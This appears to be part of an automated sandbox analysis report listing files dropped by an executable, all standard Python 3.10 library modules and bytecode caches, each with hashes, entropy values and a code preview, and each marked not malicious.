SHA-512:	7DA41454D89668ACE9160EDC65F8B8401EF4CA53C81130B0A5E1D457E8E902FF4F1E6EF1028388439E1A1268DA04B36B05E9A3392A437ABDB04B88A129C3103D
Malicious:	false
Preview:	o.........Sg.........................@...s&...d.d.l.Z.d.d.l.Z.d.d.d...Z.d.d...Z.d.S.)......Nc........................s(.....p.t...........f.d.d...}.d.d...\|._.\|.S.).aV.... Wrap lru_cache to support storing the cache data in the object instances... Abstracts the common paradigm where the method explicitly saves an. underscore-prefixed protected property on first call and returns that. subsequently... >>> class MyClass:. ... calls = 0. .... ... @method_cache. ... def method(self, value):. ... self.calls += 1. ... return value.. >>> a = MyClass(). >>> a.method(3). 3. >>> for x in range(75):. ... res = a.method(x). >>> a.calls. 75.. Note that the apparent behavior will be exactly like that of lru_cache. except that the cache is stored on each instance, so values in one. instance will not flush values from another, and when an instance is. deleted, so are the cached values for that instance...

C:\recover\pw\Lib\importlib\metadata\pycache\_itertools.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	568
Entropy (8bit):	5.098702051506245
Encrypted:	false
SSDEEP:	12:Cm//48ZPUbmR6OHRgD4gvwfJLV0jyr4evsoVzoufN++k+Zqq18:hDPUe6+k4fJgyEXODlfnZqq18
MD5:	9EE39FFBA546BAED4CCB491FB60A5862
SHA1:	78D980D58D5449DC9295F7FAEFD7F012D1887F5D
SHA-256:	C1F478270B2A4A20B5E4390BEF05AFD42C2153284F8E315AACD6EFB4FBA34159
SHA-512:	13497B3E5CF4C3DE8E17112B137FD67E947A4A54ABB9A485B3B979BF18A77930444D409E74B15C562F6E3563F5AA7B4F71D983DC431782E911D409A560B55CF0
Malicious:	false
Preview:	o.......=k;gr........................@...s....d.d.l.m.Z...d.d.d...Z.d.S.)......)...filterfalseNc....................c...sf.....t...}.\|.j.}.\|.d.u.r.t.\|.j.\|...D.].}.\|.\|.....\|.V...q.d.S.\|.D.].}.\|.\|...}.\|.\|.v.r0\|.\|.....\|.V...q.d.S.).zHList unique elements, preserving order. Remember all elements ever seen.N)...set..addr......__contains__)...iterable..key..seenZ.seen_add..element..k..r.....1C:\winnit\pw\lib\importlib\metadata\_itertools.py..unique_everseen....s..................................r....).N)...itertoolsr....r....r....r....r....r......<module>....s........

C:\recover\pw\Lib\importlib\metadata\pycache\_itertools.cpython-310.pyc.66077952

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	569
Entropy (8bit):	5.087976948967371
Encrypted:	false
SSDEEP:	12:Cl//48ZPUbmR6OHRgD4gvwfJLV0jyr4evJsoVzoufN++k+Zqq18:UDPUe6+k4fJgyEXODlfnZqq18
MD5:	D78A977BE5D8722FACFF157DC9FEF14B
SHA1:	FEA174D9EA15B641EA66BC7B6DC602B4B8E9AF9F
SHA-256:	7330C8283C3A5DD8555246750649A490C6D7E97ED65184824BB53A0AF7C627CE
SHA-512:	5176B6BB100F05447E027A13E9D49A63254AB3A7846DE9AFF4643DC9C15680FD1DF1A26A13F51D72AD4404201E3DA77F17F823EAE6E7A868A7362E467E777DF2
Malicious:	false
Preview:	o.........Sgr........................@...s....d.d.l.m.Z...d.d.d...Z.d.S.)......)...filterfalseNc....................c...sf.....t...}.\|.j.}.\|.d.u.r.t.\|.j.\|...D.].}.\|.\|.....\|.V...q.d.S.\|.D.].}.\|.\|...}.\|.\|.v.r0\|.\|.....\|.V...q.d.S.).zHList unique elements, preserving order. Remember all elements ever seen.N)...set..addr......__contains__)...iterable..key..seenZ.seen_add..element..k..r.....2C:\recover\pw\lib\importlib\metadata\_itertools.py..unique_everseen....s..................................r....).N)...itertoolsr....r....r....r....r....r......<module>....s........

C:\recover\pw\Lib\importlib\metadata\pycache\_meta.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	2261
Entropy (8bit):	4.700829177246917
Encrypted:	false
SSDEEP:	48:tkgnzBuSda0HUuJpYwj1JEZNmsZBCdHEjX9vlq:tkgNuaa0HUAp/j1JErm8BCdHED90
MD5:	8DD93C9F4BDB75E784962103824BD53E
SHA1:	9F05813193FC3FF7B17A1D4DB8E00BE783148036
SHA-256:	39DAFF2AF51E0D0EAAD13327F1DC821DD5570E3E98C875E76B96EFB9DF752289
SHA-512:	D38AE5BFCE4DA2014A7E7E5B42DE30D81299F3215CE5F48C1FAFDE65C17EFC363E2E61406BC29EBB8E5AFCE3B7B0B069BFFE28722D23925AD5FBE87574CE4865
Malicious:	false
Preview:	o.......=k;g.........................@...sP...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.)......)...Any..Dict..Iterator..List..Protocol..TypeVar..Union.._Tc....................@...s....e.Z.d.Z.d.e.f.d.d...Z.d.e.d.e.f.d.d...Z.d.e.d.e.f.d.d...Z.d.e.e...f.d.d...Z.d.d.e.d.e.d.e.e.e...e.f...f.d.d...Z.e.d.e.e.e.e.e.e...f...f...f.d.d.....Z.d.S.)...PackageMetadata..returnc....................C........d.S...N......selfr....r.....,C:\winnit\pw\lib\importlib\metadata\_meta.py..__len__...........z.PackageMetadata.__len__..itemc....................C...r....r....r....).r....r....r....r....r......__contains__....r....z.PackageMetadata.__contains__..keyc....................C...r....r....r....).r....r....r....r....r......__getitem__....r....z.PackageMetadata.__getitem__c....................C...r....r....r....r....r....r....r......__iter__....r....z.PackageMetadata.__iter__...name..failobjc....................C........d.S.).zP. Return all values associated wit

C:\recover\pw\Lib\importlib\metadata\pycache\_meta.cpython-310.pyc.65134176

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	2262
Entropy (8bit):	4.69505985449216
Encrypted:	false
SSDEEP:	48:hgnzBuSda01UuJpYwj1JEZNmsZBCdHEjX9vlq:hgNuaa01UAp/j1JErm8BCdHED90
MD5:	595BA93257901EE402A585187270BFE6
SHA1:	7194708E349F2F7E02988B7D58A862FB21C7881D
SHA-256:	522766BCD952EE46099426C2B2832413C953136C7426B09BE948B859E2E21C34
SHA-512:	31D9A716837ACB181974C74E393F8850036707B9AF17F239A5E5DE8A6FDB6630FE9658AC3CA5388A3AB3758E60F11B119F2B11B00FBE19B06FF804BF828215C3
Malicious:	false
Preview:	o.........Sg.........................@...sP...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...e.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.)......)...Any..Dict..Iterator..List..Protocol..TypeVar..Union.._Tc....................@...s....e.Z.d.Z.d.e.f.d.d...Z.d.e.d.e.f.d.d...Z.d.e.d.e.f.d.d...Z.d.e.e...f.d.d...Z.d.d.e.d.e.d.e.e.e...e.f...f.d.d...Z.e.d.e.e.e.e.e.e...f...f...f.d.d.....Z.d.S.)...PackageMetadata..returnc....................C........d.S...N......selfr....r.....-C:\recover\pw\lib\importlib\metadata\_meta.py..__len__...........z.PackageMetadata.__len__..itemc....................C...r....r....r....).r....r....r....r....r......__contains__....r....z.PackageMetadata.__contains__..keyc....................C...r....r....r....).r....r....r....r....r......__getitem__....r....z.PackageMetadata.__getitem__c....................C...r....r....r....r....r....r....r......__iter__....r....z.PackageMetadata.__iter__...name..failobjc....................C........d.S.).zP. Return all values associated wi

C:\recover\pw\Lib\importlib\metadata\pycache\_text.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	3057
Entropy (8bit):	5.038881120283616
Encrypted:	false
SSDEEP:	48:NERhiYmIWTDvbG12wYRzHiUyOrIuxeQc2zGV4KrhiOqLigqyiFqYbvHqMHXNVwQn:NehFXWTrbGowYRzHinOrIAeQc2u4KrgG
MD5:	35C0A7198C9C743F4078FBAD700C9CA7
SHA1:	53B88D5ECA7CBE541BAA21850033A66187495D3E
SHA-256:	E8AF1498AFDD409C6AF463A35388BB72E3F70B080AE0E4E058C3248A2AE95A24
SHA-512:	C1AF33E3F517AA15750AE6C306A860CA214948DF6B1B78A0A1201ED05803ECB8FAAAEDCAA6AB6A7A9E3BB3CF8EE182817B7EA1249863FD60FD33513E64789528
Malicious:	false
Preview:	o.......=k;g.........................@...s(...d.d.l.Z.d.d.l.m.Z...G.d.d...d.e...Z.d.S.)......N.....)...method_cachec........................sr...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z...f.d.d...Z.d.d...Z.e...f.d.d.....Z.d.d...Z.d.d.d...Z.....Z.S.)...FoldedCasea{.... A case insensitive string class; behaves just like str. except compares equal when the only variation is case... >>> s = FoldedCase('hello world').. >>> s == 'Hello World'. True.. >>> 'Hello World' == s. True.. >>> s != 'Hello World'. False.. >>> s.index('O'). 4.. >>> s.split('O'). ['hell', ' w', 'rld'].. >>> sorted(map(FoldedCase, ['GAMMA', 'alpha', 'Beta'])). ['alpha', 'Beta', 'GAMMA'].. Sequence membership is straightforward... >>> "Hello World" in [s]. True. >>> s in ["Hello World"]. True.. You may test for set inclusion, but candidate and elements. must both be folded... >>> FoldedCase("Hello World") in {s}. True. >>> s in {FoldedCa

C:\recover\pw\Lib\importlib\metadata\pycache\_text.cpython-310.pyc.65133984

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	3058
Entropy (8bit):	5.039791462915752
Encrypted:	false
SSDEEP:	48:bRhiYmIWTDvbG12wYRzHiUyOrIuxeQc2zGV4KrhiOqLigqyiFqYbvHqMHXNVwQqg:lhFXWTrbGowYRzHinOrIAeQc2u4KrgOD
MD5:	470CCA5A24915B85609706CD5F60C11C
SHA1:	5D699B9665524BB7E8A9096C22B341C3B1464547
SHA-256:	D52B70D875689C68E4543C3F75C8429BF7736FB6242A0A0EAB9A238852211536
SHA-512:	F212E56CF13C8F201968F12407A02AD69E5984843E54BC1BF4F42AD0EEF1CB799DD2A3B5067D4E5659CCE4325C4BA8AEBA7FC880063C851EAB43777911D90403
Malicious:	false
Preview:	o.........Sg.........................@...s(...d.d.l.Z.d.d.l.m.Z...G.d.d...d.e...Z.d.S.)......N.....)...method_cachec........................sr...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z...f.d.d...Z.d.d...Z.e...f.d.d.....Z.d.d...Z.d.d.d...Z.....Z.S.)...FoldedCasea{.... A case insensitive string class; behaves just like str. except compares equal when the only variation is case... >>> s = FoldedCase('hello world').. >>> s == 'Hello World'. True.. >>> 'Hello World' == s. True.. >>> s != 'Hello World'. False.. >>> s.index('O'). 4.. >>> s.split('O'). ['hell', ' w', 'rld'].. >>> sorted(map(FoldedCase, ['GAMMA', 'alpha', 'Beta'])). ['alpha', 'Beta', 'GAMMA'].. Sequence membership is straightforward... >>> "Hello World" in [s]. True. >>> s in ["Hello World"]. True.. You may test for set inclusion, but candidate and elements. must both be folded... >>> FoldedCase("Hello World") in {s}. True. >>> s in {FoldedCa

C:\recover\pw\Lib\importlib\metadata\_adapters.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1930
Entropy (8bit):	4.343405359021804
Encrypted:	false
SSDEEP:	48:DwGF15jVN5+LjtoIKEuFIw5oGpEnFSy1lkVsqG31WCkG:8mXjX5+uE1Fnl8SWCkG
MD5:	A046E808A33BE9907CFC850E6DC30E7D
SHA1:	726D08E414D5AC2A7DDF12E61A61FCF1A6BA04DF
SHA-256:	863E49569310894ED3F41F966A4883B0FD1684829DDC4E7694A73E083A89112D
SHA-512:	4D629301D8208E2CFE7533791188C69BE66B547AF2DE1D6FA53AF64581BC7378FEAA417E1F78629F26E8411C0CA291A937C8C424D7FFCCBEA6D7A28B2B5746C4
Malicious:	false
Preview:	import re..import textwrap..import email.message....from ._text import FoldedCase......class Message(email.message.Message):.. multiple_use_keys = set(.. map(.. FoldedCase,.. [.. 'Classifier',.. 'Obsoletes-Dist',.. 'Platform',.. 'Project-URL',.. 'Provides-Dist',.. 'Provides-Extra',.. 'Requires-Dist',.. 'Requires-External',.. 'Supported-Platform',.. 'Dynamic',.. ],.. ).. ).. """.. Keys that may be indicated multiple times per PEP 566... """.... def __new__(cls, orig: email.message.Message):.. res = super().__new__(cls).. vars(res).update(vars(orig)).. return res.... def __init__(self, args, *kwargs):.. self._headers = self._repair_headers().... # suppress spurious error from mypy.. def __iter__(self):.. return super().__iter__()..

C:\recover\pw\Lib\importlib\metadata\_collections.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	773
Entropy (8bit):	4.707400693185867
Encrypted:	false
SSDEEP:	12:ysSCg72MrelLMEdrqbM1Mgd5aWqp/IV/MZhmuyNSKtVYCy:ytYlLMZ3y5aWowVEZ8m
MD5:	0E214D282C8470C634BBA8872B3DC139
SHA1:	98850B764D8FD22830CB9014E2528FE5FE36C315
SHA-256:	4281B8DA21C38B837C93E93916D6BBC0A01F7E023C7D39251E3B80250F7D575E
SHA-512:	9F024100BFCEA2ABCD2587C97CE0E35B7BF485A972C879883DA99E8F1A4A5931F9A9A2963354AF2389CB46314F1EBF43C09DCC5E30D25790E1470EC6E9539B01
Malicious:	false
Preview:	import collections......# from jaraco.collections 3.3..class FreezableDefaultDict(collections.defaultdict):.. """.. Often it is desirable to prevent the mutation of.. a default dict after its initial construction, such.. as to prevent mutation during iteration..... >>> dd = FreezableDefaultDict(list).. >>> dd[0].append('1').. >>> dd.freeze().. >>> dd[1].. [].. >>> len(dd).. 1.. """.... def __missing__(self, key):.. return getattr(self, '_frozen', super().__missing__)(key).... def freeze(self):.. self._frozen = lambda key: self.default_factory()......class Pair(collections.namedtuple('Pair', 'name value')):.. @classmethod.. def parse(cls, text):.. return cls(*map(str.strip, text.split("=", 1)))..

C:\recover\pw\Lib\importlib\metadata\_functools.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2999
Entropy (8bit):	4.6344062686720875
Encrypted:	false
SSDEEP:	48:b8buTGBskHc4SpcJ1lGRGX5GEGuvSpQIgQyAdGnlfsJdSpzTKjJkmSphBlle/RlV:bgst6XJyQIT4bhU5I4NrM3IT4W
MD5:	656CF285C9D4FAE91F3F4B02851338D5
SHA1:	4F4293F48C7C74C7B0EC949AF3CC526C4F59084B
SHA-256:	DA7408563C04CAD511DAEBF9E2A1091AD148DEF11A388437D05B97A5618B881D
SHA-512:	453138A2FA3974AD3614842CE0948C439167513ACB18243E76C37449AAB71693600966A014690A0FCB0C246A01D0AFE10CFC269C44C904FF37F88DE197508CB3
Malicious:	false
Preview:	import types..import functools......# from jaraco.functools 3.3..def method_cache(method, cache_wrapper=None):.. """.. Wrap lru_cache to support storing the cache data in the object instances..... Abstracts the common paradigm where the method explicitly saves an.. underscore-prefixed protected property on first call and returns that.. subsequently..... >>> class MyClass:.. ... calls = 0.. ..... ... @method_cache.. ... def method(self, value):.. ... self.calls += 1.. ... return value.... >>> a = MyClass().. >>> a.method(3).. 3.. >>> for x in range(75):.. ... res = a.method(x).. >>> a.calls.. 75.... Note that the apparent behavior will be exactly like that of lru_cache.. except that the cache is stored on each instance, so values in one.. instance will not flush values from another, and when an instance is.. deleted, so are the cached values for that instance..... >>> b = MyClass()..

C:\recover\pw\Lib\importlib\metadata\_itertools.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	626
Entropy (8bit):	4.225594095287608
Encrypted:	false
SSDEEP:	12:19uQ6NyMeKuDRJLV0jyT0V9pEoQsRXGeFWKgOJALe8XWGJ:19uHdxWJgyTQ/EeRXGaWzNLe8tJ
MD5:	07DBBC13A3B5D33F9F06FB6D0FCF07D7
SHA1:	6C4B8BBDA2B067E3FB502202494CA772312203D7
SHA-256:	8E3C80F7BDB8A3FBB6E0373489C150CE0F0767D79DD829A0662903CA1010049B
SHA-512:	F0934CD582BCA775CF413BEBA56BC50823A2BB2C32D252AE36AD6568B97DB268FB0FE993982381648FBD03AFF7B9055097D56828702B9D4EA4F51D2AD179BAB8
Malicious:	false
Preview:	from itertools import filterfalse......def unique_everseen(iterable, key=None):.. "List unique elements, preserving order. Remember all elements ever seen.".. # unique_everseen('AAAABBBCCDAABBB') --> A B C D.. # unique_everseen('ABBCcAD', str.lower) --> A B C D.. seen = set().. seen_add = seen.add.. if key is None:.. for element in filterfalse(seen.__contains__, iterable):.. seen_add(element).. yield element.. else:.. for element in iterable:.. k = key(element).. if k not in seen:.. seen_add(k).. yield element..

C:\recover\pw\Lib\importlib\metadata\_meta.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1177
Entropy (8bit):	4.6714418925368735
Encrypted:	false
SSDEEP:	24:1RE8HI89tYIWOtGFK4BWYvcqjVFi20zGhH:/Z9aIrtAK4gec2/0zGl
MD5:	EADE85F75510D406899FFA83EB10364B
SHA1:	03019F6300B3950090809E6C53D68B51C565165F
SHA-256:	D350F8C337081981259C3D18B292116194D8DF095C7F403EEF0EEE0D52E30166
SHA-512:	DB1210420A3A99A4DD5E610B1D36C59809F4D7811D7DA0944BAD43CB4F82326384C98CFFCC361084D54CFF7A07D031374EF30B04BA056249AE6E91A7EE9051B5
Malicious:	false
Preview:	from typing import Any, Dict, Iterator, List, Protocol, TypeVar, Union......_T = TypeVar("_T")......class PackageMetadata(Protocol):.. def __len__(self) -> int:.. ... # pragma: no cover.... def __contains__(self, item: str) -> bool:.. ... # pragma: no cover.... def __getitem__(self, key: str) -> str:.. ... # pragma: no cover.... def __iter__(self) -> Iterator[str]:.. ... # pragma: no cover.... def get_all(self, name: str, failobj: _T = ...) -> Union[List[Any], _T]:.. """.. Return all values associated with a possibly multi-valued key... """.... @property.. def json(self) -> Dict[str, Union[str, List[str]]]:.. """.. A JSON-compatible form of the metadata... """......class SimplePath(Protocol):.. """.. A minimal subset of pathlib.Path required by PathDistribution... """.... def joinpath(self) -> 'SimplePath':.. ... # pragma: no cover.... def __div__(self) -> 'SimplePath':

C:\recover\pw\Lib\importlib\metadata\_text.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2297
Entropy (8bit):	4.6525371068604136
Encrypted:	false
SSDEEP:	48:BUu/H8O42w9/2kz8/WVy1wux7QcY5Djwa7TrbjmfVbp5bWYLE7faS5E4wz0u3v:BUM8O1w9/2kz8/W41wA7QcenFqVp3v
MD5:	A6554E82888F65E2D55C209B7FD9125C
SHA1:	B4868D5C4861262B0B4394606D72DE2BF72913CA
SHA-256:	87B52AB0F393B60FE5D9BFDB0A019A18395B0A127D133847763A873D5D1F68DB
SHA-512:	FC7ACCDB79B99AFFA43127AB7711CBA18A9D735A14975FD1D2D05168D50C2282112D0E08CD2BF8AA58DD0F07A0D1FEA2967F4641ADD5E3D96988A898E75B779A
Malicious:	false
Preview:	import re....from ._functools import method_cache......# from jaraco.text 3.5..class FoldedCase(str):.. """.. A case insensitive string class; behaves just like str.. except compares equal when the only variation is case..... >>> s = FoldedCase('hello world').... >>> s == 'Hello World'.. True.... >>> 'Hello World' == s.. True.... >>> s != 'Hello World'.. False.... >>> s.index('O').. 4.... >>> s.split('O').. ['hell', ' w', 'rld'].... >>> sorted(map(FoldedCase, ['GAMMA', 'alpha', 'Beta'])).. ['alpha', 'Beta', 'GAMMA'].... Sequence membership is straightforward..... >>> "Hello World" in [s].. True.. >>> s in ["Hello World"].. True.... You may test for set inclusion, but candidate and elements.. must both be folded..... >>> FoldedCase("Hello World") in {s}.. True.. >>> s in {FoldedCase("Hello World")}.. True.... String inclusion works as long as the FoldedCase object.. is on the right..... >>> "hello"

C:\recover\pw\Lib\importlib\readers.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3710
Entropy (8bit):	4.50184813832295
Encrypted:	false
SSDEEP:	48:dQTYLJ6HsxJyXmiq3YY2ZLsr4B/f0fFvQQ0txuJ/anYG+8rzYZeZzDrJeSHsv:dQTSJI0J8miCYt5sr4d8NvQ2CrZrJeAi
MD5:	1DF7A85C79AB990FF6C103B011A7E3F6
SHA1:	BC301AEA53C43DFD4992A91B186F341B8EFAD364
SHA-256:	DFF87F82CF85D623B847DB323E6B202B96EB0081DD38C3FEC105501F61E76644
SHA-512:	0162DF97A485B31004EB30B7F5A7B4BCD21EEFC629F1F074BC95BD0BCF2F17119162B5B0A31DF989022606B8B223888E26A5C93D985F47287AE25DEEC51B7851
Malicious:	false
Preview:	import collections..import zipfile..import pathlib..from . import abc......def remove_duplicates(items):.. return iter(collections.OrderedDict.fromkeys(items))......class FileReader(abc.TraversableResources):.. def __init__(self, loader):.. self.path = pathlib.Path(loader.path).parent.... def resource_path(self, resource):.. """.. Return the file system path to prevent.. `resources.path()` from creating a temporary.. copy... """.. return str(self.path.joinpath(resource)).... def files(self):.. return self.path......class ZipReader(abc.TraversableResources):.. def __init__(self, loader, module):.. _, _, name = module.rpartition('.').. self.prefix = loader.prefix.replace('\\', '/') + name + '/'.. self.archive = loader.archive.... def open_resource(self, resource):.. try:.. return super().open_resource(resource).. except KeyError as exc:.. raise FileNotFoundEr

C:\recover\pw\Lib\importlib\resources.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	5890
Entropy (8bit):	4.644653304355339
Encrypted:	false
SSDEEP:	96:4l35Yo7C0GS2p0Wnnj5qZM3Qeudi7ulaGmVXluXkkoVfpo/AHakVEOa1mqPfySFo:Nwdrl4PuQFnXWO8m6yS8RNNVRWamKmHu
MD5:	D24BF8D3E22BE65665C6B3D52722B4A7
SHA1:	D13D69A159B6B7C13AFC323C1F03732E14BF7BC6
SHA-256:	5EF2C3E328392BFC4E0CFCE2D2E958DFDD0B77D8C28AB9FA3DB2B615D14E933B
SHA-512:	9F3594CC4C45BF4EF92645CDC5C1278AA7CA911B34A1556CEEA7A9A7740C3405C111CC78ECD4B55FBB893BC0B984F4A71F24596CBBFF6C78EE58660D91014C7E
Malicious:	false
Preview:	import os..import io....from . import _common..from ._common import as_file, files..from .abc import ResourceReader..from contextlib import suppress..from importlib.abc import ResourceLoader..from importlib.machinery import ModuleSpec..from io import BytesIO, TextIOWrapper..from pathlib import Path..from types import ModuleType..from typing import ContextManager, Iterable, Union..from typing import cast..from typing.io import BinaryIO, TextIO..from collections.abc import Sequence..from functools import singledispatch......__all__ = [.. 'Package',.. 'Resource',.. 'ResourceReader',.. 'as_file',.. 'contents',.. 'files',.. 'is_resource',.. 'open_binary',.. 'open_text',.. 'path',.. 'read_binary',.. 'read_text',..]......Package = Union[str, ModuleType]..Resource = Union[str, os.PathLike]......def open_binary(package: Package, resource: Resource) -> BinaryIO:.. """Return a file-like object opened for binary reading of the resource.""".. resource = _co

C:\recover\pw\Lib\importlib\util.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	11789
Entropy (8bit):	4.482128155113969
Encrypted:	false
SSDEEP:	192:GKdRi99RbmAOewx9ifK/steJyqqowIoaY23XX10C8zCNQy7GE7GtXkDMbzq:GKji9DbmAOec9iUJct23ozCNQydbMq
MD5:	2B78D189CD0CB5B765B9F19AC18DCE5B
SHA1:	B61170AB37D283DB0CE4FA9918C8ADEABD98754D
SHA-256:	B9A599E9047040EC13892BF784BE3C733E5A2D8EFF39331EF66CFBADD6B169CD
SHA-512:	FE4D475A40C1F19C07A0FB811D3A823C50F654F8E9E57C119EAAE03D05CC40BE4A01EB1DFEC9CEFE2FBF9919BBF30BBDB68C07896A271DFB1DB757BDC22CBEAE
Malicious:	false
Preview:	"""Utility code for constructing importers, etc."""..from ._abc import Loader..from ._bootstrap import module_from_spec..from ._bootstrap import _resolve_name..from ._bootstrap import spec_from_loader..from ._bootstrap import _find_spec..from ._bootstrap_external import MAGIC_NUMBER..from ._bootstrap_external import _RAW_MAGIC_NUMBER..from ._bootstrap_external import cache_from_source..from ._bootstrap_external import decode_source..from ._bootstrap_external import source_from_cache..from ._bootstrap_external import spec_from_file_location....from contextlib import contextmanager..import _imp..import functools..import sys..import types..import warnings......def source_hash(source_bytes):.. "Return the hash of source_bytes as used in hash-based pyc files.".. return _imp.source_hash(_RAW_MAGIC_NUMBER, source_bytes)......def resolve_name(name, package):.. """Resolve a relative module name to an absolute one.""".. if not name.startswith('.'):.. return name.. elif no

C:\recover\pw\Lib\json\pycache\init.cpython-310.pyc.33500904

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	12262
Entropy (8bit):	5.380574711357586
Encrypted:	false
SSDEEP:	192:IM0k25NKigD6B7+vx1GkRGqb9j4StKv72vx1GkRGqb4MmQTQOQkQsx1LtbQkQsxz:IM0TNKigBvx99j4A3vxx47OZrXZrb/
MD5:	4330D3F472F9B5ED7E744071DDD3EC11
SHA1:	3DA3A4D616B044F2B782B7EE53561D4DBF0D7940
SHA-256:	B15F81708D2C222E56D3EA19EA3491DAE9BE4994F2E066DCCD2136D63085B50B
SHA-512:	CF45B24C96E86FEDC29035D4843E0F231910A624DD4D44E4E836B6D4C85694C643C8B99444EA1A5E5D4F85228AD5DB4EFC87A398EC21299AEE4C192887C6BC02
Malicious:	false
Preview:	o.........Sg+8.......................@...s....d.Z.d.Z.g.d...Z.d.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.Z.e.d.d.d.d.d.d.d.d...Z.d.d.d.d.d.d.d.d.d.d...d.d...Z.d.d.d.d.d.d.d.d.d.d...d.d...Z.e.d.d.d...Z.d.d...Z.d.d.d.d.d.d.d...d.d...Z.d.d.d.d.d.d.d...d.d...Z.d.S.).a....JSON (JavaScript Object Notation) <https://json.org> is a subset of.JavaScript syntax (ECMA-262 3rd edition) used as a lightweight data.interchange format...:mod:`json` exposes an API familiar to users of the standard library.:mod:`marshal` and :mod:`pickle` modules. It is derived from a.version of the externally maintained simplejson library...Encoding basic Python object hierarchies::.. >>> import json. >>> json.dumps(['foo', {'bar': ('baz', None, 1.0, 2)}]). '["foo", {"bar": ["baz", null, 1.0, 2]}]'. >>> print(json.dumps("\"foo\bar")). "\"foo\bar". >>> print(json.dumps('\u1234')). "\u1234". >>> print(json.dumps('\\')). "\\". >>> print(json.dumps({"c": 0, "b": 0, "a": 0}, sort_keys=True)). {"

C:\recover\pw\Lib\json\pycache\decoder.cpython-310.pyc.33497560

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	9764
Entropy (8bit):	5.561373828744709
Encrypted:	false
SSDEEP:	192:KEe7HwwynOu7lf2/U4UmurLWltogw//F8mbANHFThJt7AeIf9PT9VKrN/w:9sHwwyNV2/Km+8tON8muIf9TboN4
MD5:	D864CBC806611408B532B20BAA0FF060
SHA1:	4AB43380D2B5AAB6F4EF99715E9C4D8F95CA34F3
SHA-256:	F031C10211AA0BE3DA996AFCE59A8A899DF6F72128540C7B6579F64D5EAD4C1C
SHA-512:	0E91653EE79F8FFE9118354C43EDD6EEC8B1CE6BD15C880AFA781807F04612377664AF6B1CF1F4754E8682285DFE4B141B9CF3F254E161937A8DF4809C00E84A
Malicious:	false
Preview:	o.........Sg.2.......................@...s....d.Z.d.d.l.Z.d.d.l.m.Z...z.d.d.l.m.Z...W.n...e.y.......d.Z.Y.n.w.d.d.g.Z.e.j.e.j.B.e.j.B.Z.e.d...Z.e.d...Z.e.d...Z.G.d.d...d.e...Z.e.e.e.d...Z.e...d.e...Z.d.d.d.d.d.d.d.d.d...Z.d.d...Z.d.e.e.j.f.d.d...Z.e.phe.Z.e...d.e...Z.d.Z.d.e.j.e.f.d.d...Z.e.j.e.f.d.d ..Z.G.d!d...d.e...Z.d.S.)"z.Implementation of JSONDecoder......N)...scanner)...scanstring..JSONDecoder..JSONDecodeError..nan..infz.-infc....................@...s ...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.S.).r....a ...Subclass of ValueError with the following additional properties:.. msg: The unformatted error message. doc: The JSON document being parsed. pos: The start index of doc where parsing failed. lineno: The line corresponding to pos. colno: The column corresponding to pos.. c....................C...sb...\|...d.d.\|...d...}.\|.\|...d.d.\|.....}.d.\|.\|.\|.\|.f...}.t...\|.\|.....\|.\|._.\|.\|._.\|.\|._.\|.\|._.\|.\|._.d.S.).N...r.........z.%s: line %d column %d (char %d))...count..rfind..ValueE

C:\recover\pw\Lib\json\pycache\encoder.cpython-310.pyc.33550808

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	11115
Entropy (8bit):	5.495915787062239
Encrypted:	false
SSDEEP:	192:sqBDTkkgsft4MszI6lxnP14KAZX/WPxDvoLabuHyjKFihHtRs4UTFU0Q:FJDiMUnd4CPxDzbuSGFiZd
MD5:	51E6D96E7931D3747C2528AB213A6223
SHA1:	CD6555CAA834F3C4759C058D9EFF3C4CC986D682
SHA-256:	E18B0F56271670C16528388BCA5464A1C4E6975FAF05D5C4AB872F3D18B82403
SHA-512:	237E1D2A4F82B8D97E60FCF4DE33F082A37E6F7950D0363695847F3635AA7674994AF29582EFFE76524758D434F405FE1E51FA1DFB83045C7E6F2BA85428117E
Malicious:	false
